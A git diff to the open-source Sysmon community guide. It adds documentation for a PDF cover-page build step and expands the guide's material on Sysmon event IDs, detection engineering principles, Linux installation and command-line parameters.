diff --git a/Build/COVER_PAGE_FEATURE.md b/Build/COVER_PAGE_FEATURE.md new file mode 100644 index 0000000..bac6911 --- /dev/null +++ b/Build/COVER_PAGE_FEATURE.md @@ -0,0 +1,160 @@ +# Custom Cover Page Feature + +## Overview +The PDF build process now automatically replaces the first page (auto-generated title page) with a custom cover image. + +## Cover Image +- **Location**: `chapters/media/TS_SysmonCommunityGuide_Cover.png` +- **Format**: PNG +- **Size**: ~3 MB (high resolution) +- **Page Size**: Scaled to fit A4 with aspect ratio maintained + +## Implementation + +### Components +1. **`Build/replace_cover.py`** - Python script that handles cover replacement + - Uses `pypdf` (or PyPDF2) to manipulate PDF pages + - Uses `Pillow` to process cover image + - Uses `reportlab` to convert image to PDF page + - Maintains A4 page size and centers image + +2. **`Build/md2pdf.sh`** - Updated to call cover replacement after PDF generation + - Generates PDF with XeLaTeX (2 passes for TOC) + - Checks for cover image existence + - Replaces first page automatically + - Handles errors gracefully (falls back to original if replacement fails) + +3. **Dependencies** - Added Python packages: + - `pypdf` - PDF manipulation + - `Pillow` - Image processing + - `reportlab` - PDF generation + +### Build Process Flow +``` +1. Pandoc converts Markdown → LaTeX +2. XeLaTeX generates PDF (2 passes) +3. Custom cover replacement: + a. Check if TS_SysmonCommunityGuide_Cover.png exists + b. Convert cover image to PDF page (A4, centered, scaled) + c. Replace first page of generated PDF with cover + d. Save final PDF +4. Clean up temporary files +``` + +## Usage + +### Normal Build +```bash +# Just build as usual - cover replacement happens automatically +make pdf + +# Or using build.sh +./build.sh pdf +``` + +### Installing Dependencies + +**macOS:** +```bash +make install-deps-mac +# Or manually: +pip3 install --user --break-system-packages pypdf Pillow reportlab +``` + +**Ubuntu/Debian:** +```bash +make install-deps +# Or manually: +pip3 install pypdf Pillow reportlab +``` + +**Docker:** +```bash +# Dependencies already included in Docker image +make docker-pdf +``` + +## Customization + +### Using a Different Cover Image +1. Replace `chapters/media/TS_SysmonCommunityGuide_Cover.png` with your image +2. Image can be any size - will be automatically scaled to fit A4 +3. Maintains aspect ratio - will not distort +4. Centered on page + +### Disabling Cover Replacement +If you want to use the default Pandoc-generated title page: +1. Remove or rename the cover image file, OR +2. Comment out the cover replacement section in `Build/md2pdf.sh` (lines 64-80) + +## Technical Details + +### Image Processing +- Cover image is converted to a temporary PDF (`/tmp/cover_page.pdf`) +- Image is scaled to fit A4 (210mm × 297mm) while maintaining aspect ratio +- Image is centered on the page +- Uses high-quality rendering from Pillow + +### PDF Manipulation +- Original PDF is temporarily renamed +- Cover page PDF is created with exact A4 dimensions +- First page of original PDF is replaced with cover +- All other pages (2-N) are copied unchanged +- Temporary files are cleaned up + +### Error Handling +- Checks if cover image exists before attempting replacement +- Validates PDF was generated successfully +- Falls back to original PDF if replacement fails +- Provides clear error messages in build output + +## Verification + +After building, verify the cover replacement worked: + +```bash +# Check PDF exists and has correct size +ls -lh Build/SysmonGuide.pdf + +# Check number of pages +file Build/SysmonGuide.pdf + +# Open PDF and visually inspect first page +open Build/SysmonGuide.pdf # macOS +xdg-open Build/SysmonGuide.pdf # Linux +``` + +## Troubleshooting + +### "Module not found" errors +Install Python dependencies: +```bash +pip3 install --user --break-system-packages pypdf Pillow reportlab +``` + +### Cover replacement fails +Check build log for errors: +```bash +cat Build/pdfgen.log +``` + +### Cover image not found +Verify the image exists: +```bash +ls -lh chapters/media/TS_SysmonCommunityGuide_Cover.png +``` + +### PDF is too large +The cover image adds ~3MB to the PDF. To reduce size: +1. Optimize the cover image before building +2. Convert to lower DPI (e.g., 150 DPI instead of 300 DPI) +3. Use JPEG instead of PNG (with quality setting) + +## Future Enhancements + +Potential improvements: +- [ ] Support for back cover page +- [ ] Configurable cover image path in chapters.json +- [ ] Multiple cover formats (PDF, SVG, etc.) +- [ ] Automatic image optimization +- [ ] Cover template system diff --git a/Build/Sysmon.md b/Build/Sysmon.md index 45e27c2..24bb843 100644 --- a/Build/Sysmon.md +++ b/Build/Sysmon.md @@ -1,46 +1,247 @@ -![cover image](cover.png) +--- +title: "Sysmon Missing Manual" +author: "Carlos Perez" +rights: "TrustedSec LLC, Creative Commons Non-Commercial Share Alike 4.0" +language: "en-US" +subtitle: "Open Source Sysinternals Sysmon Community Guide" +publisher: "TrustedSec Inc." +cover-image: "./media/tslogo.png" +date: "04.12.2025" +--- +\newpage + + # What is Sysmon -Sysmon is a free tool initially developed by Mark Russinovich and has contributions by Tomas Garnier, David Magnotti, Mark Cook, Rob Mead, Giulia Biagini, and others at Microsoft. The tool is designed to extend the current logging capabilities in Windows to aid in understanding and detecting attackers by behavior. It was developed originally for internal use at Microsoft. (Note: There are still two versions of the tool—internal and external.) Currently, the tool supports 64-bit and 32-bit systems and uses a single command line tool for installation and configuration management. - -All of the events generated by Sysmon are saved in Microsoft-Windows-Sysmon/Operational EventLog in order to accomodate security products that already leverage the EventLog, and to make the events easier to view and collect. - -Sysmon is able to monitor for a series of actions on a Windows host that relate to existing behavior that is abused by threat actors. With this view on the actions, defenders are able to better detect abnormal behavior and abuses on a system. - -The table below shows the event types and event ID for each. - -| EventType| EventId| -|---|---| -|Sysmon Service Status Changed|0 -|ProcessCreate|1 -|FileCreateTime|2 -|NetworkConnect|3 -|Service State Change|4 -|ProcessTerminate|5 -|DriverLoad|6 -|ImageLoad|7 -|CreateRemoteThread| 8 -|RawAccessRead| 9 -|ProcessAccess| 10 -|FileCreate| 11 -|Registry object added or deleted | 12 -|Registry Create| 13 -|Registry Rename| 14 -|FileCreateStreamHash | 15 -|Sysmon Config Change| 16 -|Named Pipe Create| 17 -|Named Pipe Connected|18 -|WMI Event Filter|19 -|WMI Event Consumer|20 -|WMI Consumer to Filter|21 -|DNS Query|22 -|File Delete|23 -|Error|255 +Sysmon (System Monitor) is a free, advanced system monitoring tool developed by Mark Russinovich and Tomas Garnier, with contributions from David Magnotti, Mark Cook, Rob Mead, Giulia Biagini, Alex Mihaiuc, Kevin Sheldrake, and John Lambert. +Originally, Sysmon was created for internal use at Microsoft, but it is now widely used by security professionals to enhance visibility into system activity and detect abnormal behavior or potential threats. + +Sysmon enables defenders to better detect suspicious activity by monitoring and logging a broad range of system events, such as process creation, network connections, and changes to files or registry keys. These logs are especially valuable for security investigations and threat detection. + + +Sysmon for Windows supports ARM, x64 and x86 systems. Installation and configuration are managed through a single command-line tool. When installed, Sysmon logs events to the Microsoft-Windows-Sysmon/Operational Event Log. + + +The following table lists the event types and corresponding event IDs generated by Sysmon on Windows systems: + +| Event Type | Event ID | +|------------------------------------|----------| +| Sysmon Service Status Changed | 0 | +| Process Create | 1 | +| File Create Time | 2 | +| Network Connect | 3 | +| Service State Change | 4 | +| Process Terminate | 5 | +| Driver Load | 6 | +| Image Load | 7 | +| Create Remote Thread | 8 | +| Raw Access Read | 9 | +| Process Access | 10 | +| File Create | 11 | +| Registry Object Added or Deleted | 12 | +| Registry Create | 13 | +| Registry Rename | 14 | +| File Create Stream Hash | 15 | +| Sysmon Config Change | 16 | +| Named Pipe Create | 17 | +| Named Pipe Connected | 18 | +| WMI Event Filter | 19 | +| WMI Event Consumer | 20 | +| WMI Consumer to Filter | 21 | +| DNS Query | 22 | +| File Delete | 23 | +| Clipboard Capture | 24 | +| Process Tampering | 25 | +| File Delete Detected | 26 | +| Error | 255 | + + +Sysmon for Linux is an open-source adaptation, designed to collect similar security-relevant events from Linux environments. It leverages eBPF (Extended Berkeley Packet Filter) to efficiently monitor system activity at the kernel level. + +Sysmon for Linux can be compiled from source or installed via your distribution’s package manager. Currently supported distributions include: + +- Ubuntu +- Debian +- Red Hat Enterprise Linux +- Fedora Linux +- openSUSE +- SUSE Linux Enterprise Server + +Sysmon logs events to the native system logging facility (such as journald). The scope of supported events is narrower compared to Windows, due to differences in operating system architecture. + + +The following table lists the event types and event IDs currently supported by Sysmon on Linux: + +| Event Type | Event ID | +|------------------------------|----------| +| Sysmon Service Status Changed | 0 | +| Process Create | 1 | +| Network Connect | 3 | +| Service State Change | 4 | +| Process Terminate | 5 | +| Raw Access Read | 9 | +| File Create | 11 | +| Sysmon Config Change | 16 | +| File Delete | 23 | + +Sysmon for Linux uses the sysinternalsEBPF library to capture file and network activities. eBPF allows execution of custom code at the kernel level, enabling efficient and secure event collection without requiring kernel modules. + +Both sysinternalsEBPF and Sysmon for Linux are open source projects, allowing the community to contribute and extend their features. You can find the projects and source code on GitHub: +- [Sysmon for Linux](https://github.com/Sysinternals/SysmonForLinux) +- [sysinternalsEBPF library](https://github.com/Sysinternals/ebpf-for-windows) + + +- [Sysmon for Windows - Microsoft Documentation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) +- [Sysmon for Linux - GitHub](https://github.com/Sysinternals/SysmonForLinux) + +Sysmon is a vital tool for defenders looking to increase their visibility into system activities and detect security threats on both Windows and Linux platforms. + +# Detection Engineering Fundamentals + + +Before diving into the technical details of Sysmon, it is important to understand the discipline that makes this tool truly valuable: detection engineering. Sysmon is not just a logging tool - it is a powerful instrument for detecting malicious behavior. However, like any instrument, its effectiveness depends on how skillfully it is used. + + +Detection engineering is the practice of designing, building, and maintaining systems that identify malicious or anomalous behavior in an environment. It sits at the intersection of threat intelligence, system knowledge, and data analysis. A detection engineer takes what we know about how attackers operate and translates that knowledge into concrete detection logic that can identify those behaviors when they occur. + +Think of it this way: if attackers are constantly finding new ways to break into systems, detection engineers are constantly finding new ways to spot them doing it. This is not about waiting for antivirus signatures or relying solely on tools to protect you. Detection engineering is proactive - it means understanding your environment so well that you can recognize when something does not belong. + +In the context of Sysmon, detection engineering means configuring the tool to capture the right information at the right time. Not everything that happens on a system is suspicious, and logging everything creates more problems than it solves. The skill lies in knowing what to capture and what to ignore. + + +To work effectively with Sysmon as a detection engineer, you need to understand several important concepts: + +**Signal-to-Noise Ratio**: This is perhaps the most critical concept. Signal refers to the meaningful data - the evidence of actual threats or important events. Noise refers to the normal, benign activity that clutters your logs. A good Sysmon configuration maximizes signal while minimizing noise. If your logs are 99% noise, you will miss the 1% that matters. + +**True Positives**: These are legitimate detections - your system correctly identified actual malicious or anomalous activity. This is what we are trying to achieve. + +**False Positives**: These occur when your detection logic flags normal, benign activity as suspicious. Too many false positives erode trust in your detections and waste valuable analyst time. Reducing false positives is one of the main goals of iterative configuration development. + +**False Negatives**: These are the detections you missed - malicious activity that occurred but was not captured or flagged. False negatives are dangerous because they represent blind spots in your visibility. This happens when configurations are too restrictive or when exclusions are too broad. + +**Baseline**: A baseline is your understanding of what normal looks like in your environment. You cannot identify anomalies until you know what normal behavior is. Baselining involves observing your systems over time to understand typical process execution, network connections, file operations, and other activities. + +**MITRE ATT&CK Framework**: This is a knowledge base of adversary tactics and techniques based on real-world observations. It helps detection engineers understand what attackers do and, more importantly, what data sources can detect those actions. Sysmon is one of the most valuable data sources referenced in the ATT&CK framework, particularly for process monitoring. + + +Out of the box, Sysmon can be configured to log everything or log nothing. Neither extreme is useful. Logging everything creates an overwhelming volume of data that is expensive to store, slow to search, and impossible to analyze effectively. Logging nothing gives you no visibility. + +The real value of Sysmon comes from thoughtful configuration. A well-designed configuration captures the behaviors that matter while filtering out the noise. This serves several critical purposes: + +**Improved Detection Capability**: When your logs contain mostly meaningful data, it becomes much easier to identify actual threats. Analysts can focus on investigating real issues rather than wading through normal system activity. + +**Reduced Storage Costs**: Security data can consume enormous amounts of storage, especially in large environments. Every event Sysmon logs must be stored, often for months or years for compliance reasons. Filtering out unnecessary events can reduce storage requirements by 80% or more in some cases. + +**Better SIEM Performance**: Security Information and Event Management (SIEM) platforms are where Sysmon logs are typically sent for analysis. These systems have to index, search, and correlate millions of events. The more data you feed them, the slower they become and the more expensive they are to operate. A lean, well-filtered log stream keeps your SIEM responsive and cost-effective. + +**Faster Investigations**: When an incident occurs, time matters. Analysts need to quickly understand what happened. If they have to sift through thousands of irrelevant events to find the few that matter, investigations slow down. Clean logs mean faster response times. + +**Compliance and Retention**: Many organizations must retain security logs for regulatory compliance. The more you log, the more you must retain. Thoughtful configuration ensures you are retaining valuable evidence, not just storing noise. + + +One of the most critical principles in detection engineering is **defense in depth** - the concept that no single tool or data source should be your only line of defense. While Sysmon provides exceptional visibility into endpoint activity, it should **never be your only source of detection telemetry**. + +**Why Multiple Data Sources Matter**: + +Sysmon can be disabled, evaded, or bypassed by sophisticated attackers. If Sysmon is your only detection mechanism, a single point of failure exists. Mature detection programs use multiple, overlapping data sources that provide redundancy and complementary visibility. + +**Windows Native Audit Logs**: Windows has built-in audit logging capabilities that should be enabled alongside Sysmon: + +* **Security Event Log**: Provides authentication events (logon/logoff), privilege use, account management, and policy changes that Sysmon does not capture + - Event ID 4688 (Process Creation) provides similar data to Sysmon Event ID 1, offering redundancy + - Event ID 4624/4625 (Logon Success/Failure) are critical for detecting credential attacks and lateral movement + - Event ID 4672 (Special Privileges Assigned) identifies privilege escalation + - Event ID 4698-4702 (Scheduled Task Events) detect persistence mechanisms + +* **System Event Log**: Captures service installations, system startups, and critical system events that can indicate tampering or persistence + +* **Application Event Log**: May contain evidence of exploitation or abuse of applications + +* **PowerShell Operational Logs**: Module logging, script block logging, and transcription provide deep visibility into PowerShell activity that complements Sysmon's process creation and script file monitoring + +* **WMI-Activity/Operational**: Logs WMI activity including temporary subscriptions and events in the Root namespace that Sysmon does not capture (Sysmon only logs Root\Subscription) + +**Why This Redundancy is Critical**: + +1. **Attacker Evasion**: Attackers may target Sysmon specifically, attempting to stop the service or tamper with the driver. Windows audit logs are harder to disable without generating obvious alerts. + +2. **Data Correlation**: Having multiple sources for the same event type (like process creation from both Sysmon and Windows Security Event ID 4688) allows you to detect tampering. If one source shows an event but the other does not, this is a strong indicator of log manipulation. + +3. **Complementary Coverage**: Some activities are better captured by Windows audit logs than Sysmon. For example, Windows Security events provide detailed authentication information, privilege use, and account activity that Sysmon does not cover. + +4. **Forensic Completeness**: During incident response, having multiple log sources provides a more complete timeline and can help validate findings. If logs conflict, it may indicate attacker activity. + +5. **Detection Gaps**: As mentioned in the Sysmon chapter content, certain Sysmon event types have known limitations. For example, Sysmon only detects CreateRemoteThread() for process injection but not alternative APIs like NtCreateThreadEx(). Windows audit logs may capture related behaviors that Sysmon misses. + +**Practical Implementation**: + +For each detection use case, identify **all available data sources** that can provide visibility: + +* **Lateral Movement Detection**: Combine Sysmon network connections (Event ID 3) with Windows logon events (4624/4625), network connection audit events, and firewall logs + +* **Credential Access**: Use Sysmon process access events (Event ID 10) for LSASS dumping alongside Windows Security audit policy for sensitive privilege use and special logon events + +* **Persistence Mechanisms**: Monitor with Sysmon registry events (12-14), file creation (11), service events (4), WMI events (19-21), AND Windows Security scheduled task events (4698-4702), service installation events (7045), and startup program modifications + +* **Process Execution**: Log both Sysmon process creation (Event ID 1) and Windows Security process creation (Event ID 4688, requires audit policy and command line logging enabled) + +**Best Practice**: When designing detection rules, always ask: "If Sysmon is compromised or bypassed, what other data sources can detect this behavior?" If the answer is "none," you have identified a dangerous single point of failure that needs additional data sources. + +This layered approach ensures that even if an attacker disables Sysmon or finds ways to evade its monitoring, your detection capability remains intact through other telemetry sources. It also provides the redundancy needed to detect log tampering itself - a critical capability when responding to sophisticated adversaries. + + +Creating an effective Sysmon configuration is not a one-time task. It is an iterative process that requires continuous refinement. Here is how mature detection engineering teams approach this: + +**Phase 1 - Initial Deployment**: Start with a conservative configuration that captures key event types without exclusions. This gives you broad visibility to understand what is happening in your environment. Yes, it will be noisy, but that is expected at this stage. It is important to note that not all event types require the same approach. Some event types, like process tampering, driver loading, or raw disk access, are relatively infrequent in normal operations. For these low-volume event types, you can often log all occurrences without filtering and still maintain a good signal-to-noise ratio. Other event types, like process creation or network connections, occur constantly and require more aggressive filtering to be useful. + +**Phase 2 - Baselining**: Observe the data being generated. What processes run regularly? What network connections are normal? What file operations happen as part of standard business activities? This phase typically takes 2-4 weeks, depending on your environment's complexity. Document what you learn. During this phase, you will quickly identify which event types generate high volumes of data and which remain relatively quiet. + +**Phase 3 - Tuning**: Begin adding exclusions to filter out known-good activity for high-volume event types. This is where you reduce the noise. Be conservative - it is better to exclude too little at first than to exclude too much and create blind spots. Focus on high-volume, low-value events first. For low-volume event types that rarely occur during normal operations, you may decide to keep logging everything, using targeted include filters to ensure you capture the specific behaviors that matter most. + +**Phase 4 - Validation**: After applying exclusions, validate that you have not created false negatives. Test your configuration against known attack techniques (in a safe, controlled manner). Can you still detect process injection? Do lateral movement attempts still generate logs? This phase is critical and often skipped, which leads to dangerous blind spots. + +**Phase 5 - Monitoring and Refinement**: Even after deployment, continue to monitor the effectiveness of your configuration. As your environment changes - new applications are deployed, systems are upgraded, business processes evolve - your configuration must adapt. Schedule regular reviews, perhaps quarterly, to assess whether your configuration still meets your needs. + +**Phase 6 - Threat Intelligence Integration**: As new attack techniques emerge or new vulnerabilities are disclosed, revisit your configuration. Can you detect this new technique? Do you need to modify exclusions to ensure visibility? This keeps your detections current and effective. + +This iterative cycle never truly ends. Detection engineering is continuous improvement, not a project with a finish line. + + +One of the hardest lessons for new detection engineers to learn is that you cannot log everything. There is a natural desire to maximize visibility by capturing all possible data. However, this creates real problems: + +**System Performance Impact**: Sysmon runs at the kernel level and filters events in real-time. The more complex your configuration and the more events you capture, the more CPU resources Sysmon consumes. In extreme cases, poorly designed configurations can noticeably impact system performance. + +**Network and Storage Costs**: Every event logged must be transmitted to your SIEM and stored. In a large environment, this can mean terabytes of data per day. At cloud storage prices, this becomes expensive quickly. Network bandwidth to transmit logs can also become a constraint. + +**Analysis Paralysis**: Human analysts can only review so much data. If you generate millions of events per day, no team can keep up with reviewing them all. The more noise in your logs, the more likely real threats are to be missed. + +The key is to focus on capturing outliers and anomalies, not normal behavior. You want to log the things that should not happen, not the things that happen all the time. This is especially important for high-volume event types like process creation and network connections. For lower-volume event types, the cost-benefit analysis is different - the overhead of logging all driver loads or all process tampering events is usually acceptable because these events are rare enough that they do not overwhelm your systems. + + +The goal of configuration tuning is to minimize both false positives and false negatives. These two objectives can be in tension - making your rules more specific to reduce false positives can create gaps that increase false negatives. The skill is finding the right balance. + +**Reducing False Positives**: When you encounter false positives, resist the urge to immediately add broad exclusions. Instead, understand why the false positive occurred. Is this a legitimate business process you did not know about? Can you exclude it using multiple specific criteria rather than a broad rule? For example, instead of excluding all PowerShell execution, exclude PowerShell when it is launched by a specific management tool from a specific path with specific parameters. + +**Preventing False Negatives**: False negatives often result from overly aggressive exclusions. When you exclude events, ask yourself: could an attacker abuse this exclusion? If you exclude a process by name only, an attacker can simply copy their malicious tool to use that same name. This is why multi-field exclusions are critical - use combinations of process path, command line parameters, hashes, and parent process information to create exclusions that are specific enough that they cannot be easily mimicked. + +**Testing is Essential**: The only way to know if you have introduced false negatives is to test. Use frameworks like Atomic Red Team or tools like Caldera to safely simulate attack techniques in a test environment. Run your simulated attacks and verify that your Sysmon configuration still captures the activity. If an attack simulation does not generate the expected logs, you have found a false negative that needs to be addressed. + + +As you work through the chapters that follow, keep these detection engineering principles in mind. Each event type will discuss not just what Sysmon can log, but why it matters for detection, how to configure it effectively, and what to watch out for. + +Detection engineering is as much an art as a science. It requires understanding both the technical capabilities of your tools and the creative thinking of your adversaries. The goal is not perfection - you will never have zero false positives or zero false negatives. The goal is continuous improvement, building a detection capability that is effective, sustainable, and resilient. + +Sysmon is one of the most powerful tools available for endpoint detection, but its power comes from how you use it. A thoughtfully designed, iteratively refined configuration tuned to your environment's needs will serve as the foundation for strong security monitoring and rapid incident response. + +Now, let us explore how to put these principles into practice. + +# Sysmon on Windows ## The Sysmon Driver + All of the monitoring is performed thanks to a driver that Sysmon installs called SysmonDrv. The driver will hook into Windows APIs and leverage Event Tracing for Windows (ETW) to capture the information on the actions it wants to monitor. This Sysmon Driver has a unique altitude number of 385201 that determines the order of loading of the driver in comparison to other drivers on the system. Some blog posts recommend changing this number in the registry for obfuscation, but this may cause a conflict with another driver and prevent Sysmon from working or cause other errors on the system. @@ -61,12 +262,12 @@ Sysmon sets multiple callbacks on kernel objects in addition to using telemetry When the tool is downloaded from the Microsoft Sysinternals website it is important to save and identify previous versions since Microsoft does not provide older versions and the release notes do not detail what has been fixed. Microsoft has a fast release cycle, forcing users to test very carefully and to keep track of versions. -![A screenshot of a social media post Description automatically -generated](./media/image5.png) +You can take a look at recent changes across versions in the community guide [Sysmon Changelog](https://github.com/trustedsec/SysmonCommunityGuide/blob/master/sysmon-changelog.md) Another important piece of information is that there is no support from Microsoft on the Sysinternal tools—they are free and provided as is. This means that a testing plan for the environment it is deployed on should be formulated, tested, implemented, and improved upon as new versions of Sysmon are released. -# The Sysmon Command Line +## Install and Configuration + Sysmon installation and configuration can be done via the command line. When Sysmon is downloaded from Microsoft, the zip file will contain two command line versions of the tool: @@ -80,7 +281,7 @@ When using the tool, any errors will result in an error message and help informa * Common command line parameters. -* General notes on how the tool works and further details on how to get more help informationn. +* General notes on how the tool works and further details on how to get more help information. The parameters of the tool and the structure of the XML configuration file are defined in the tool Schema. This schema can be printed using the **-s "PrintSchema"** parameter; if no schema version is provided, it will print the default schema. @@ -94,7 +295,6 @@ The tool can be run in 4 main modes; 3 of them are shown in the help message: The semi-hidden and undocumented method is Debug, in which a specified configuration is parsed, and live events are shown in the console. -## Install The key parameter that initiates the installation mode of Sysmon is the **-i** switch. The installation process will be as follows: @@ -147,21 +347,15 @@ One important thing to keep in mind when obfuscating the driver name and service * The eventlog remains the same so as to not break collection from SIEM products. -***Process for x86*** - ![x86 bit insall process](./media/image6.png) -***x64 Process*** - - ![x64 install process](./media/image7.png) - Sysmon will create 2 registry keys to define the services for its operation under ***HKLM\\SYSTEM\\CurrentControlSet\\Services*** -* Sysmon - Service that talks to the driver and performs the filtering action. It is named with the same name as the sysm onexecutable. +* Sysmon - Service that talks to the driver and performs the filtering action. It is named with the same name as the Sysmon executable. * SysmonDrv - Kernel Driver Service, this service loads the Sysmon driver with an altitude number of 385201 @@ -191,14 +385,14 @@ Driver Service: * ImagePath: **\.sys** -## Installation with Configuration - An XML configuration file can be passed during installation if an initial configuration needs to be set. This is the preferred method for production systems since a configuration file can cover all types and logic. The most used method is to pass a configuration file using the **-c \** parameter. ```shell sysmon.exe -i --accepteula -c ``` +If the configuration specifies a archive folder using the `````` element the **-a \** needs to be specified in the command line so that Sysmon can create the folder and set the proper permissions for version 11.0 of Sysmon, for version 11.1 the parameter was removed and now it is configured via the configuration file. If the folder is not present and even if specified Sysmon will create a folder named **Sysmon** instead and use that folder to archive the deleted files. + We can control the hashing algorithm used for events that hash images and we can control checking of revocation of signatures. The hashing algorithm or combination of them can be specified with the **-h \** The specified algorithms will be used to hash all images. @@ -210,7 +404,7 @@ sysmon.exe -i -c -h We can specify checking to see if certificates are revoked using the -r parameter. ```shell -sysmon.exe -i -c -r** +sysmon.exe -i -c -r ``` @@ -231,10 +425,9 @@ sysmon.exe -i -c -l [] * **ProcessAccess** - Processes whose memory is accessed. ```shell -sysmon.exe -i -c -k []** +sysmon.exe -i -c -k [] ``` -## Uninstall To uninstall Sysmon, a binary with the same name as the main service, if renamed, has to be run with the **-u** switch parameter. @@ -252,7 +445,6 @@ There is an undocumented value that can be passed to the **-u** parameter of **" sysmon.exe -u force ``` -## Installation Best Practice Installation best practices that can be followed to aid and minimize risk when deploying the Sysmon tool include: @@ -262,7 +454,7 @@ Installation best practices that can be followed to aid and minimize risk when d * Upgrade - * Version for applying initia config + * Version for applying initial config * If a GPO is used to push scheduled tasks for upgrades or to push configuration, use a WMI filter to target the specific version that was tested. Example: @@ -282,8 +474,81 @@ SELECT * FROM CIM_Datafile WHERE (Name="c:\\Windows\\Sysmon64.exe" OR Name="c:\\ * Better to push values via GPO or other methods with file version checking. +# Sysmon on Linux + +## sysinternalsEBPF + + + Sysmon for Linux uses its own library “sysinternalsEBPF” to handle the security events monitoring process. The advantages are that eBPF is a technology that allows programs to run in a sandbox in an operating system at the kernel level. The eBPF library will allow for the collection of information on: + +* Processes +* System Calls +* Network Sockets + + The “sysinternalsEBPF” library is open sourced and licensed under the MIT License. The source is available in GitHub at In GitHub the latest installation and build instructions can be found. + +![eBPF](./media/image64.png) + +The eBPF library leverages a large library of Kernel memory offsets that are stored after installation in a JSON file at **/opt/sysinternalsEBPF/offsets.json** if the kernel is not one in the list it will do an auto discovery of the offsets and add them to **/opt/sysinternalsEBPF/sysinternalsEBPF_offsets.conf** There might be some cases where it will fail to do an autodiscovery of the offsets like in the case of a kernel update. In this case the service will fail to load and provide instructions on how to update the offsets. Bellow is the error that would be displayed in the case that autodiscovery fails. + +![Kernel Offset](./media/image65.png) + +The GitHub repo instructions on how to build and offset config for the current kernel are provided + +## Install and Configuration + + +Installation under Linux varies given that each Linux distribution and even version of each differ slightly in the steps to install the packages for sysinternalsEBPF and sysmonforlinux. The package installation steps for each distribution and is maintained in github at . The solution can be compiled and installed from source but it is not recommended for a production environment since it will add more complexity in the tracking of versions of dependencies and also introduced other packages that can be abused by an attacker if they gain access tto the system. + +The package installation process will create a sysmon elf binary as /usr/bin/sysmon this binary will be used to install and configure the service. + +When using the tool, any errors will result in an error message and help information with basic switches. To see only the help information for the tool, the **-?** switch parameter is used. This help information will include: + +* Parameter sets for installation, configuration, and uninstall + +* Common command line parameters. + +* General notes on how the tool works and further details on how to get more help information. + +The parameters of the tool and the structure of the XML configuration file are defined in the tool Schema. This schema can be printed using the **-s "PrintSchema"** parameter; if no schema version is provided, it will print the default schema. + +The tool can be run in 4 main modes; 3 of them are shown in the help message: + +* **Install** - Install the driver, manifest and service on the host. + +* **Configure** - Parses a given configuration file or command line parameters to generate a configuration that is stored in the registry. + +* **Uninstall** - Removes the driver and service from the host. + + +The key parameter that initiates the installation mode of Sysmon is the **-i** switch. The installation process will be as follows: + +* Decompresses and copy of itself in to **/opt/sysmon** + +* Creates a systemd service + +* Enables a default configuration (ProcessCreation and ProcessTermination) if no configuration file is passed to the **-i** parameter. + +The **-accepteula** parameter needs to be passed to accept the EULA for the tool. + + +To uninstall Sysmon, a binary with the same name as the main service, if renamed, has to be run with the **-u** switch parameter. + +```bash +/opt/sysmon/sysmon -u +``` + +When executed the command will run a series of steps to uninstall the service and remove files for the tool from **/opt/sysmon**. + +The value of **force** can be passed to the **-u** parameter fo force uninstallation. + +```bash +/opt/sysmon/sysmon -u force +``` + # Configuration + The configuration options of Sysmon and the structure of the configuration file are defined in its schema. Each version of Sysmon that adds capabilities raises the schema version, and this version number is not tied to the binary version number. To take a look at this schema, we would run the binary with the **-s \[schema version\]** parameter; if no schema version is specified, we would get the latest one for the binary. @@ -301,7 +566,6 @@ Under this manifest element are two main elements: ![Manifest first level](./media/image9.png) -## Command Line Parameters Under the configuration element, we have an element called options that contains all the command line parameters. Each of the option elements are broken in to command line and configuration options where each type of the command line switches is identified with a comment in the XML. @@ -315,6 +579,10 @@ The main attributes for each of the command-line options: ![Configuration File Parameters](./media/image10.png) +Not all command parameters shown in the Schema apply to Sysmon for Linux, both tools share the general schema but in the Linux version only a subset of the parameters are implemented. + +Windows Parameters: + The main arguments that can be passed are: * **-i** : Install Sysmon @@ -323,6 +591,10 @@ The main arguments that can be passed are: sysmon.exe -i [configfile path] ``` +```shell +sysmon. -i [configfile path] +``` + * **-c** : apply config ```shell @@ -335,13 +607,13 @@ sysmon.exe -c [configfile path] sysmon.exe -u [force] ``` -* **-m** : Install event manifest +* **-m** : Install event manifest (Windows Only) ```shell sysmon.exe -m ``` -* **-t** : Debug mode +* **-t** : Debug mode (Windows Only) ```shell sysmon.exe -t [configfile path] @@ -353,7 +625,7 @@ sysmon.exe -t [configfile path] sysmon.exe -s [schema version] ``` -* **-nologo** : don't show sysmon logo +* **-nologo** : don't show sysmon logo (Windows Only) ```shell sysmon.exe -nologo @@ -362,168 +634,443 @@ sysmon.exe -nologo * **-accepteula** : Accepts the license agreement ```shell - sysmon.exe -accepteula +sysmon.exe -accepteula ``` * **--** : Resets the configuration to the default ```shell -sysmon.exe -- +sysmon.exe -c -- ``` The option elements under the comment "Configuration file" allow for the configuration of filters and parameters that relate to filters. -* **-h** : Hashing algorithm to has images. +* **-h** : Hashing algorithm to has images. (Windows Only) ```shell sysmon.exe -c -h ``` -* **-r** : Check for signature certificate revocation +* **-r** : Check for signature certificate revocation (Windows Only) ```shell sysmon.exe -c -r ``` -* **-n** : Track network connections for specified process/processes +* **-n** : Track network connections for specified process/processes. ```shell sysmon.exe -c -n [] ``` -* **-k** : Track when a specified process/processes memory are accessed +* **-k** : Track when a specified process/processes memory are accessed. (Windows Only) ```shell sysmon.exe -c -k [] ``` -* **-l** : Track modules (DLLs) loaded by a specified process/processes. +* **-l** : Track modules (DLLs) loaded by a specified process/processes. (Windows Only) ```shell sysmon.exe -c -k [] ``` -* **-d** : Rename the sysmon driver during install (8 character limit) +* **-d** : Rename the sysmon driver during install (8 character limit) (Windows Only) ```shell sysmon.exe -i -c -d ``` -> **-g** and **--dns** switches are listed but as of the current version, they +> **-g** and **--dns** switches are listed but as of the current version, they (Windows Only) > do not update the configuration. -## Filter Operators +Sysmon for Linux parameters are: -In the filters element under configuration is the list of operators that can be used to filter against the fields of each event type. +The main arguments that can be passed are: -| **Operator** | **Meaning** -|------------------|------------------------------------------------------ -| Is| Exact match. -| IsNot| Negates and exact match -| Contains| The string is contained in any part of the value of the field. -| Excludes | Excludes the event from the logic if the event is the value matches -| Excludes All| Exclude if all values match. (values are separate by ";" ) -| Excludes Any | Excludes if any of the values match. (values are separate by ";" ) -| Image | Name of the image without the full path. -| BeginsWith | String value starts with. -| EndsWith | String value ends with -| LessThan | Numeric value is less than -| MoreThan | Numeric value is more than -| Contain Any | Contains any of the values. (values are separate by ";" ) -| Contains All | Contains all of the values. (values are separate by ";" ) +* **-i** : Install Sysmon -Each of these operators execute against the value in a given field for each of the event types. +```shell +/usr/bin/sysmon 